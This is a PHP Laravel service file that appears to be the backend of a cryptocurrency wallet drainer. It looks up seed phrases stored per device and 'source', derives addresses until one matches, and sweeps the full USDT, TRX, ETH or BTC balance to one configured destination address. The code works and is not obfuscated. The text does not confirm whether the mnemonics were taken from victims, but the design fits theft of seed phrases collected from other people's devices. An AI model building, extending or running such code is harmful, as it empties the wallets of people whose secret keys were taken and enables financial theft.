hashbro
315 lines
12 KiB
PHP
315 lines
12 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\TransferRecord;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\Chain\ChainDriver;
|
|
use App\Services\Chain\ChainManager;
|
|
use RuntimeException;
|
|
|
|
class TransferService
|
|
{
|
|
public function __construct(
|
|
private readonly ChainManager $chains,
|
|
) {}
|
|
|
|
/**
|
|
* Sweep from a known device address to the configured TRANSFER_TO_ADDRESS_*.
|
|
* Looks up mnemonics by the address row's device_id + source; tries each in order
|
|
* (and BIP44 indexes) until the derived address matches $fromAddress.
|
|
* Null / empty $amount means transfer the full on-chain balance of $asset.
|
|
*
|
|
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
|
*/
|
|
public function handle(
|
|
string $chain,
|
|
string $fromAddress,
|
|
?string $amount = null,
|
|
string $asset = 'USDT',
|
|
?string $operator = null,
|
|
): array {
|
|
$chain = strtolower(trim($chain));
|
|
$record = [
|
|
'from_address' => $fromAddress,
|
|
'to_address' => null,
|
|
'chain' => $chain,
|
|
'tx_hash' => null,
|
|
'amount' => $amount === null || trim($amount) === '' ? null : trim($amount),
|
|
'type' => TransferRecord::TYPE_OUT,
|
|
'asset' => strtoupper(trim($asset)),
|
|
'operator' => $operator,
|
|
'status' => TransferRecord::STATUS_FAILED,
|
|
'error' => null,
|
|
];
|
|
|
|
try {
|
|
$to = $this->toAddress($chain);
|
|
if ($to === '') {
|
|
return $this->finish($record, ['ok' => false, 'error' => $this->missingToAddressError($chain)]);
|
|
}
|
|
$record['to_address'] = $to;
|
|
|
|
$asset = strtoupper(trim($asset));
|
|
$record['asset'] = $asset;
|
|
$driver = $this->chains->resolve($chain);
|
|
|
|
if (! $driver->isValidAddress($fromAddress)) {
|
|
return $this->finish($record, ['ok' => false, 'error' => 'Invalid from address']);
|
|
}
|
|
if (! $driver->isValidAddress($to)) {
|
|
return $this->finish($record, ['ok' => false, 'error' => 'Invalid to address']);
|
|
}
|
|
|
|
$amount = $amount === null ? null : trim($amount);
|
|
if ($amount === '') {
|
|
$amount = null;
|
|
}
|
|
|
|
if ($amount === null) {
|
|
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset, $chain);
|
|
}
|
|
$record['amount'] = $amount;
|
|
|
|
$this->assertAmountWithinLimit($amount, $asset);
|
|
|
|
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
|
|
if ($resolved === null) {
|
|
return $this->finish($record, ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']);
|
|
}
|
|
|
|
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
|
|
|
|
$txid = match ($asset) {
|
|
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
|
'USDT' => $driver->sendToken(
|
|
$mnemonic,
|
|
$index,
|
|
$to,
|
|
$amount,
|
|
$this->usdtContract($chain),
|
|
),
|
|
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
|
};
|
|
|
|
$record['tx_hash'] = $txid;
|
|
$record['status'] = TransferRecord::STATUS_SUCCESS;
|
|
|
|
return $this->finish($record, [
|
|
'ok' => true,
|
|
'txid' => $txid,
|
|
'from' => $fromAddress,
|
|
'to' => $to,
|
|
'amount' => $amount,
|
|
'asset' => $asset,
|
|
]);
|
|
} catch (\Throwable $e) {
|
|
$record['error'] = $e->getMessage();
|
|
|
|
return $this->finish($record, ['ok' => false, 'error' => $e->getMessage()]);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
|
|
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
|
|
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
|
*/
|
|
private function finish(array $record, array $result): array
|
|
{
|
|
if (! ($result['ok'] ?? false)) {
|
|
$record['status'] = TransferRecord::STATUS_FAILED;
|
|
$record['error'] = $record['error'] ?: ($result['error'] ?? 'Transfer failed');
|
|
}
|
|
|
|
try {
|
|
TransferRecord::query()->create([
|
|
'from_address' => (string) ($record['from_address'] ?? ''),
|
|
'to_address' => $record['to_address'],
|
|
'chain' => (string) ($record['chain'] ?? ''),
|
|
'tx_hash' => $record['tx_hash'],
|
|
'amount' => $record['amount'],
|
|
'type' => (string) ($record['type'] ?? TransferRecord::TYPE_OUT),
|
|
'asset' => (string) ($record['asset'] ?? ''),
|
|
'operator' => $record['operator'],
|
|
'status' => (string) ($record['status'] ?? TransferRecord::STATUS_FAILED),
|
|
'error' => $record['error'],
|
|
]);
|
|
} catch (\Throwable) {
|
|
// never break transfer for persistence failures
|
|
}
|
|
|
|
create_log([
|
|
'event' => 'transfer',
|
|
'ok' => (bool) ($result['ok'] ?? false),
|
|
'from' => $record['from_address'],
|
|
'to' => $record['to_address'],
|
|
'chain' => $record['chain'],
|
|
'tx_hash' => $record['tx_hash'],
|
|
'amount' => $record['amount'],
|
|
'type' => $record['type'],
|
|
'asset' => $record['asset'],
|
|
'operator' => $record['operator'],
|
|
'status' => $record['status'],
|
|
'error' => $record['error'],
|
|
], 'transfer');
|
|
|
|
return $result;
|
|
}
|
|
|
|
private function toAddress(string $chain): string
|
|
{
|
|
return match ($chain) {
|
|
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
|
|
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
|
|
default => trim((string) config('coruna.transfer.to_address', '')),
|
|
};
|
|
}
|
|
|
|
private function missingToAddressError(string $chain): string
|
|
{
|
|
return match ($chain) {
|
|
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
|
|
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
|
|
default => 'TRANSFER_TO_ADDRESS is not configured',
|
|
};
|
|
}
|
|
|
|
private function usdtContract(string $chain): string
|
|
{
|
|
$contract = match ($chain) {
|
|
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
|
|
default => trim((string) config('coruna.tron.usdt_contract', '')),
|
|
};
|
|
if ($contract === '') {
|
|
throw new RuntimeException('USDT contract is not configured for '.$chain);
|
|
}
|
|
|
|
return $contract;
|
|
}
|
|
|
|
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
|
|
{
|
|
$balance = match ($asset) {
|
|
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
|
|
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
|
|
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
|
};
|
|
|
|
$reserveKey = match ($asset) {
|
|
'TRX' => 'coruna.transfer.trx_fee_reserve',
|
|
'ETH' => 'coruna.transfer.eth_fee_reserve',
|
|
'BTC' => 'coruna.transfer.btc_fee_reserve',
|
|
default => null,
|
|
};
|
|
$scale = match ($asset) {
|
|
'ETH' => 18,
|
|
'BTC' => 8,
|
|
default => 6,
|
|
};
|
|
|
|
if ($reserveKey !== null) {
|
|
$reserve = (string) config($reserveKey, '0');
|
|
if ($reserve !== '' && bccomp($reserve, '0', $scale) > 0) {
|
|
$balance = bcsub($balance, $reserve, $scale);
|
|
$balance = rtrim(rtrim($balance, '0'), '.');
|
|
if ($balance === '' || str_starts_with($balance, '-')) {
|
|
$balance = '0';
|
|
}
|
|
}
|
|
}
|
|
|
|
if (bccomp($balance, '0', $scale) <= 0) {
|
|
throw new RuntimeException("No transferable {$asset} balance");
|
|
}
|
|
|
|
return $balance;
|
|
}
|
|
|
|
/**
|
|
* @return array{mnemonic: string, index: int}|null
|
|
*/
|
|
private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array
|
|
{
|
|
$addressRows = WalletAddress::query()
|
|
->where('address', $fromAddress)
|
|
->orderBy('id')
|
|
->get(['device_id', 'source']);
|
|
|
|
// ETH addresses are often stored with mixed-case checksum.
|
|
if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) {
|
|
$addressRows = WalletAddress::query()
|
|
->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)])
|
|
->orderBy('id')
|
|
->get(['device_id', 'source']);
|
|
}
|
|
|
|
if ($addressRows->isEmpty()) {
|
|
return null;
|
|
}
|
|
|
|
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
|
|
$caseInsensitive = $driver->chainId() === 'eth';
|
|
|
|
foreach ($addressRows as $row) {
|
|
$mnemonics = WalletMnemonic::query()
|
|
->where('device_id', $row->device_id)
|
|
->where(function ($q) use ($row) {
|
|
if ($row->source === null || $row->source === '') {
|
|
$q->whereNull('source')->orWhere('source', '');
|
|
} else {
|
|
$q->where('source', $row->source);
|
|
}
|
|
})
|
|
->orderBy('id')
|
|
->get();
|
|
|
|
foreach ($mnemonics as $mnemonicRow) {
|
|
$phrase = $mnemonicRow->mnemonic;
|
|
if ($phrase === null || trim($phrase) === '') {
|
|
continue;
|
|
}
|
|
for ($index = 0; $index <= $maxIndex; $index++) {
|
|
try {
|
|
$derived = $driver->deriveAddress($phrase, $index);
|
|
$match = $caseInsensitive
|
|
? strcasecmp($derived, $fromAddress) === 0
|
|
: $derived === $fromAddress;
|
|
if ($match) {
|
|
return ['mnemonic' => $phrase, 'index' => $index];
|
|
}
|
|
} catch (\Throwable) {
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function assertAmountWithinLimit(string $amount, string $asset): void
|
|
{
|
|
$decimals = match ($asset) {
|
|
'ETH' => 18,
|
|
'BTC' => 8,
|
|
default => 6,
|
|
};
|
|
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
|
|
throw new RuntimeException('Invalid amount');
|
|
}
|
|
|
|
$maxKey = match ($asset) {
|
|
'TRX' => 'coruna.transfer.max_trx',
|
|
'ETH' => 'coruna.transfer.max_eth',
|
|
'BTC' => 'coruna.transfer.max_btc',
|
|
default => 'coruna.transfer.max_usdt',
|
|
};
|
|
$max = (string) config($maxKey, '0');
|
|
if ($max !== '' && $max !== '0' && bccomp($amount, $max, $decimals) > 0) {
|
|
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
|
|
}
|
|
}
|
|
}
|